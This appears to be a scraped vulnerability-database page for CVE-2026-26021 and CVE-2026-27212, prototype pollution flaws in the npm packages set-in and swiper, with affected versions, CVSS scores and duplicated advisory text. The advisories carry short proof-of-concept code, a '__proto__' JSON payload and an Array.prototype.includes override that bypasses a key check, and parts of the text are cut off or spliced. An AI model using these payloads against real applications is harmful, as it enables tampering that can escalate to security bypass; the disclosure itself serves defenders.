CVE-2026-26021
published 2026-02-11CVE-2026-26021: set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in…
PriorityP350critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
0.46%
37.2th percentile
set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1, < 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ahdinosaur | set-in | — | — |
| set-in_project | set-in | >= 2.0.1 < 2.0.5 | 2.0.5 |
| set-in_project | set-in | >= 2.0.1 < 2.0.5 | 2.0.5 |
| swiperjs | swiper | >= 6.5.1 < 12.1.2 | 12.1.2 |
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv4.09.4CRITICALCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Prototype pollution in swiper
ghsa·2026-02-19
CVE-2026-27212 [CRITICAL] CWE-1321 Prototype pollution in swiper
Prototype pollution in swiper
### Summary
A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, -1;
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred
```
#### Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
```
undefined
undefined OR throw an Error
```
#### Actual behavior
Object.prototype is polluted
This is printed on the console:
```
undefined
yes
```
### Impact
This is a prototype pollution vulnerability, which can have severe security implicat
OSV
Prototype pollution in swiper
osv·2026-02-19
CVE-2026-27212 [CRITICAL] Prototype pollution in swiper
Prototype pollution in swiper
### Summary
A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, -1;
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred
```
#### Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
```
undefined
undefined OR throw an Error
```
#### Actual behavior
Object.prototype is polluted
This is printed on the console:
```
undefined
yes
```
### Impact
This is a prototype pollution vulnerability, which can have severe security implicat
GHSA
set-in Affected by Prototype Pollution
ghsa·2026-02-11
CVE-2026-26021 [CRITICAL] CWE-1321 set-in Affected by Prototype Pollution
set-in Affected by Prototype Pollution
### Summary
A prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.
### Details
The vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.
### PoC
#### Steps to reproduce
1. Install latest version of set-in using npm install or cloning from git
2. Run the following code snippet:
```javascript
Array.prototype.includes = () => false;
OSV
set-in Affected by Prototype Pollution
osv·2026-02-11
CVE-2026-26021 [CRITICAL] set-in Affected by Prototype Pollution
set-in Affected by Prototype Pollution
### Summary
A prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.
### Details
The vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.
### PoC
#### Steps to reproduce
1. Install latest version of set-in using npm install or cloning from git
2. Run the following code snippet:
```javascript
Array.prototype.includes = () => false;
No detection rules found.
No public exploits indexed.
2026-02-11
Published